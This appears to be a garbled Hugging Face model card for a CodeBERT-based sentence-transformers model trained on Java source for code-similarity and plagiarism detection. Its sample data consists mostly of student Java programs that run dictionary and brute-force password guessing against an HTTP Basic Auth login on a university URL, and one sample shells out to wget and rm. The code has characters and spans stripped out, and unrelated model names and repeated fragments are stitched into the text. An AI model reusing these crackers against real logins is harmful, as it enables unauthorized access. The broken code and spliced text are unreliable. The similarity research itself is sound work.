}\n else\n \ \ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ \ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ \ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ \ dictionary word and waiting for URL reply....... \");\n String currentword\ \ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ \ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ \ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ \ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ \ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ , userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ \ }\n\n\n public String userNamePasswordBase64(String username, String password)\ \ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ \n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ \ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ \ base64Encode (String string) {\n String encodedString = \"\";\n byte\ \ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ \ (i = bytes.length) {\n b2 = 0;\n b3\ \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ \ if (i >= bytes.length) {\n b3 = 0;\n pad =\ \ 1;\n }\n else\n b3 = bytes [i++];\n \ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ > 4));\n byte c3 = (byte)(((b2 & 0xf) > 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch (pad) {\n case\ \ 0:\n encodedString += base64Array [c3];\n encodedString +=\ \ base64Array [c4];\n break;\n case 1:\n encodedString\ \ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ \ case 2:\n encodedString += \"==\";\n break;\n \ \ }\n }\n return encodedString;\n }\n }\n\n" - sourcesentence: "import java.net.;\nimport java.io.;\nimport java.;\n\n public\ \ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ \ status = false;\n\n public static void main (String args[]){\n Dictionary\ \ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ );\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ \t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ \ {\n\t\n\t\t\t if (inp[2].length() = bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ \ byte c2 = (byte)(((b1 & 0x3) > 4));\n byte c3 = (byte)(((b2\ \ & 0xf) > 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n\n" sentences: - "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\ import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\ import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\ \ protected String wordFile;\n\n public Dictionary()\n {\n super();\n\ \ }\n\n public static void main(String[] args)\n {\n Dictionary\ \ dictionary = new Dictionary();\n\n if (args.length \ \ 3)\n {\n dictionary.setFileName(args[3]);\n \ \ }\n dictionary.process();\n System.out.println(dictionary.printResult());\n\ \ System.exit(1);\n }\n }\n\n public void process()\n\ \ {\n attempts = 0;\n String password = \"\";\n \n \ \ setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader\ \ input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n\ \ \n input = new BufferedReader(file);\n \n \ \ }\n catch (FileNotFoundException x)\n {\n System.err.println(\"\ File not found: \" + getWordFile());\n System.exit(2);\n }\n\ \n try\n {\n while ((password = input.readLine()) !=\ \ null)\n {\n try\n {\n \ \ \n attempts++;\n BasicAuthHttpRequest\ \ req =\n new BasicAuthHttpRequest(\n \ \ getURL(),\n getUserName(),\n \ \ password);\n setPassword(password);\n \ \ setEnd(new Timestamp(System.currentTimeMillis()));\n \ \ setContent(req.getContent().toString());\n\n \ \ \n if (getFileName() != null\n &&\ \ getFileName().length() > 0)\n {\n \ \ createReport();\n }\n return;\n \ \ }\n catch (MalformedURLException e)\n \ \ {\n e.printStackTrace();\n return;\n\ \ }\n catch (IOException e)\n {\n\ \n }\n }\n }\n catch (IOException x)\n\ \ {\n x.printStackTrace();\n }\n\n \n setEnd(new\ \ Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n\ \ {\n StringBuffer s = new StringBuffer();\n\n s.append(\"\ \ BruteForce proper usage \\n\\n\");\n s.append(\n \"java\ \ ..httputils.Dictionary \\\ n\\n\");\n\n return s.toString();\n }\n \n public String getWordFile()\n\ \ {\n return wordFile;\n }\n\n \n public void setWordFile(String\ \ string)\n {\n wordFile = string;\n }\n\n}\n" - "import java.net.;\nimport java.io.;\n\n public class Dictionary {\n int attempts\ \ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ \n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ \ void attack(String args[]) {\n try {\n String login = new String(\"\"\ );\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ \ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ \ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ \ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ \ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ \ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ \ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ \ dictionary word and waiting for URL reply....... \");\n String currentword\ \ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ \ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ \ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ \ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ \ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ , userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ \ }\n\n\n public String userNamePasswordBase64(String username, String password)\ \ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ \n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ \ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ \ base64Encode (String string) {\n String encodedString = \"\";\n byte\ \ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ \ (i = bytes.length) {\n b2 = 0;\n b3\ \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ \ if (i >= bytes.length) {\n b3 = 0;\n pad =\ \ 1;\n }\n else\n b3 = bytes [i++];\n \ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ > 4));\n byte c3 = (byte)(((b2 & 0xf) > 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch (pad) {\n case\ \ 0:\n encodedString += base64Array [c3];\n encodedString +=\ \ base64Array [c4];\n break;\n case 1:\n encodedString\ \ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ \ case 2:\n encodedString += \"==\";\n break;\n \ \ }\n }\n return encodedString;\n }\n }\n\n" - "import java.net.;\nimport java.io.;\n\n public class Bruteforce {\n int attempts\ \ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ \ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ \ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ \ try {\n\n String login = new String(\"\");\n String url = new String(\"\ http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ \ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ \ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ \ String line;\n while ((line = in.readLine()) != null) {\n \ \ System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ \ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ \ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ \ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ \ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ \ String();\n String c2 = new String();\n String c3 = new String();\n \ \ String c4 = new String();\n boolean flag;\n\n for (i=l;i = bytes.length) {\n b2\ \ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ \ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ \ = 0;\n pad = 1;\n }\n else\n b3\ \ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ \ c2 = (byte)(((b1 & 0x3) > 4));\n byte c3 = (byte)(((b2 &\ \ 0xf) > 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n" datasets: - buelfhood/SOCOTRAINjava pipelinetag: sentence-similarity libraryname: sentence-transformers --- SentenceTransformer based on microsoft/codebert-base This is a sentence-transformers model finetuned from microsoft/codebert-base on the socotrainjava dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. Model Description - Model Type: Sentence Transformer - Base model: microsoft/codebert-base - Maximum Sequence Length: 512 tokens - Output Dimensionality: 768 dimensions - Similarity Function: Cosine Similarity - Training Dataset: - socotrainjava - Documentation: Sentence Transformers Documentation - Repository: Sentence Transformers on GitHub - Hugging Face: Sentence Transformers on Hugging Face Dataset: socotrainjava at 44ca4ff Size: 42,960 training samples Columns: anchorcode , positivecode , and negativecode Approximate statistics based on the first 1000 samples: | | anchorcode | positivecode | negativecode | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | string | string | string | | details | min: 512 tokens mean: 512.0 tokens max: 512 tokens | min: 512 tokens mean: 512.0 tokens max: 512 tokens | min: 61 tokens mean: 482.17 tokens max: 512 tokens | Samples: | anchorcode | positivecode | negativecode | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar... | import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println... | import java.io.; import java.net.; import java.util.; import java.misc.BASE64Encoder; public class Dictionary { private String userId; private String password; ReadDictionary myWords = new ReadDictionary(); public Dictionary() { myWords.openFile(); Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { StringBuffer sb = new StringBuffer(); HttpURLConnection connection; Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println (" time :" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""); setPassword("rhk8611"); System.out.println("Attempting get a response : " +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + " "); if (responseCode == HttpURLCo... | | import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar... | import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println... | public class Base64 { final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; public static String encode(byte[] bytes) { String tmp = ""; int i = 0; byte pos; for(i=0; i pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) > 4) & 15)); tmp = tmp + baseTable.charAt( pos ); pos = (byte) (((bytes[i+1] & 15) > 6) & 3)); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i+2]) & 63)); tmp = tmp + baseTable.charAt(pos); if(((i+2)%56) == 0) { tmp = tmp + "\r\n"; } } if(bytes.length % 3 != 0) { if(bytes.length % 3 == 2) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) > 4) & 15)); tmp = tmp + baseTable.charAt( pos ); ... | | import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar... | import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println... | import java.net.; import java.io.IOException; import java.util.; import java.io.; public class Dictionary { static String userName; static URL url; static URLAuthenticator urlAuthenticator; static int noOfAttempts; public Dictionary() { } public static void main (String args[]) { Properties props = System.getProperties(); props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080"); System.out.println(props.get("http.proxyHost")); BufferedReader inFile = null; try { if (args.length System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words"); System.exit(1); } inFile = new BufferedReader (new FileReader(args[0])); breakPassword(inFile); } catch (FileNotFoundException e) { System.err.println(e.getMessage()); System.exit(1); } catch (IOException e) { ... | Loss: MultipleNegativesRankingLoss with these parameters: Training Hyperparameters Non-Default Hyperparameters - `perdevicetrainbatchsize`: 16 - `learningrate`: 2e-05 - `numtrainepochs`: 1 - `warmupratio`: 0.1 - `fp16`: True - `batchsampler`: noduplicates - `overwriteoutputdir`: False - `dopredict`: False - `evalstrategy`: no - `predictionlossonly`: True - `perdevicetrainbatchsize`: 16 - `perdeviceevalbatchsize`: 8 - `pergputrainbatchsize`: None - `pergpuevalbatchsize`: None - `gradientaccumulationsteps`: 1 - `evalaccumulationsteps`: None - `torchemptycachesteps`: None - `learningrate`: 2e-05 - `weightdecay`: 0.0 - `adambeta1`: 0.9 - `adambeta2`: 0.999 - `adamepsilon`: 1e-08 - `maxgradnorm`: 1.0 - `numtrainepochs`: 1 - `maxsteps`: -1 - `lrschedulertype`: linear - `lrschedulerkwargs`: {} - `warmupratio`: 0.1 - `warmupsteps`: 0 - `loglevel`: passive - `loglevelreplica`: warning - `logoneachnode`: True - `loggingnaninffilter`: True - `savesafetensors`: True - `saveoneachnode`: False - `saveonlymodel`: False - `restorecallbackstatesfromcheckpoint`: False - `nocuda`: False - `usecpu`: False - `usempsdevice`: False - `seed`: 42 - `dataseed`: None - `jitmodeeval`: False - `bf16`: False - `fp16`: True - `fp16optlevel`: O1 - `halfprecisionbackend`: auto - `bf16fulleval`: False - `fp16fulleval`: False - `tf32`: None - `localrank`: 0 - `ddpbackend`: None - `tpunumcores`: None - `tpumetricsdebug`: False - `debug`: [] - `dataloaderdroplast`: False - `dataloadernumworkers`: 0 - `dataloaderprefetchfactor`: None - `pastindex`: -1 - `disabletqdm`: False - `removeunusedcolumns`: True - `labelnames`: None - `loadbestmodelatend`: False - `ignoredataskip`: False - `fsdp`: [] - `fsdpminnumparams`: 0 - `fsdpconfig`: {'minnumparams': 0, 'xla': False, 'xlafsdpv2': False, 'xlafsdpgradckpt': False} - `fsdptransformerlayerclstowrap`: None - `acceleratorconfig`: {'splitbatches': False, 'dispatchbatches': None, 'evenbatches': True, 'useseedablesampler': True, 'nonblocking': False, 'gradientaccumulationkwargs': None} - `parallelismconfig`: None - `deepspeed`: None - `labelsmoothingfactor`: 0.0 - `optim`: adamwtorchfused - `optimargs`: None - `adafactor`: False - `groupbylength`: False - `lengthcolumnname`: length - `project`: huggingface - `trackiospaceid`: trackio - `ddpfindunusedparameters`: None - `ddpbucketcapmb`: None - `ddpbroadcastbuffers`: False - `dataloaderpinmemory`: True - `dataloaderpersistentworkers`: False - `skipmemorymetrics`: True - `uselegacypredictionloop`: False - `pushtohub`: False - `resumefromcheckpoint`: None - `hubmodelid`: None - `hubstrategy`: everysave - `hubprivaterepo`: None - `hubalwayspush`: False - `hubrevision`: None - `gradientcheckpointing`: False - `gradientcheckpointingkwargs`: None - `includeinputsformetrics`: False - `includeformetrics`: [] - `evaldoconcatbatches`: True - `fp16backend`: auto - `pushtohubmodelid`: None - `pushtohuborganization`: None - `mpparameters`: - `autofindbatchsize`: False - `fulldeterminism`: False - `torchdynamo`: None - `rayscope`: last - `ddptimeout`: 1800 - `torchcompile`: False - `torchcompilebackend`: None - `torchcompilemode`: None - `includetokenspersecond`: False - `includenuminputtokensseen`: no - `neftunenoisealpha`: None - `optimtargetmodules`: None - `batchevalmetrics`: False - `evalonstart`: False - `useligerkernel`: False - `ligerkernelconfig`: None - `evalusegatherobject`: False - `averagetokensacrossdevices`: True - `prompts`: None - `batchsampler`: noduplicates - `multidatasetbatchsampler`: proportional - `routermapping`: {} - `learningratemapping`: {} Training Logs | Epoch | Step | Training Loss | |:------:|:----:|:-------------:| | 0.0372 | 100 | 2.5249 | | 0.0745 | 200 | 0.578 | | 0.1117 | 300 | 0.3995 | | 0.1490 | 400 | 0.3599 | | 0.1862 | 500 | 0.363 | | 0.2235 | 600 | 0.3394 | | 0.2607 | 700 | 0.3679 | | 0.2980 | 800 | 0.327 | | 0.3352 | 900 | 0.3487 | | 0.3724 | 1000 | 0.3158 | | 0.4097 | 1100 | 0.3458 | | 0.4469 | 1200 | 0.3414 | | 0.4842 | 1300 | 0.327 | | 0.5214 | 1400 | 0.3095 | | 0.5587 | 1500 | 0.3145 | | 0.5959 | 1600 | 0.3175 | | 0.6331 | 1700 | 0.2987 | | 0.6704 | 1800 | 0.3194 | | 0.7076 | 1900 | 0.3125 | | 0.7449 | 2000 | 0.3148 | | 0.7821 | 2100 | 0.2946 | | 0.8194 | 2200 | 0.3103 | | 0.8566 | 2300 | 0.2816 | | 0.8939 | 2400 | 0.2766 | | 0.9311 | 2500 | 0.2831 | | 0.9683 | 2600 | 0.2917 | Framework Versions - Python: 3.12.3 - Sentence Transformers: 5.1.1 - Transformers: 4.57.0 - PyTorch: 2.8.0+cu128 - Accelerate: 1.10.1 - Datasets: 4.1.1 - Tokenizers: 0.22.1
conplag1_codeberta_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_unixcoder_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
SOCO-C-GraphCodeBERT-ST
SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0
>\"+initialmd5);\n\t\t \ \ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\ \ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\ md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\ \ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\ \ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\ \t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\ \ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\ \ \n if(initialmd5.equals(presentmd5))\n \ \ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\ \t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\ );\n System.out.println(\" is different\"); \n \ \ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \ \ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\ rm present.\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\ }\t\t\n" - "import java.net.;\nimport java.io.;\n\n public class Dictionary {\n int attempts\ \ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ \n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ \ void attack(String args[]) {\n try {\n String login = new String(\"\"\ );\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ \ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ \ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ \ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ \ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ \ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ \ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ \ dictionary word and waiting for URL reply....... \");\n String currentword\ \ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ \ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ \ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ \ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ \ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ , userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ \ }\n\n\n public String userNamePasswordBase64(String username, String password)\ \ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ \n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ \ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ \ base64Encode (String string) {\n String encodedString = \"\";\n byte\ \ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ \ (i = bytes.length) {\n b2 = 0;\n b3\ \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ \ if (i >= bytes.length) {\n b3 = 0;\n pad =\ \ 1;\n }\n else\n b3 = bytes [i++];\n \ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ > 4));\n byte c3 = (byte)(((b2 & 0xf) > 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch 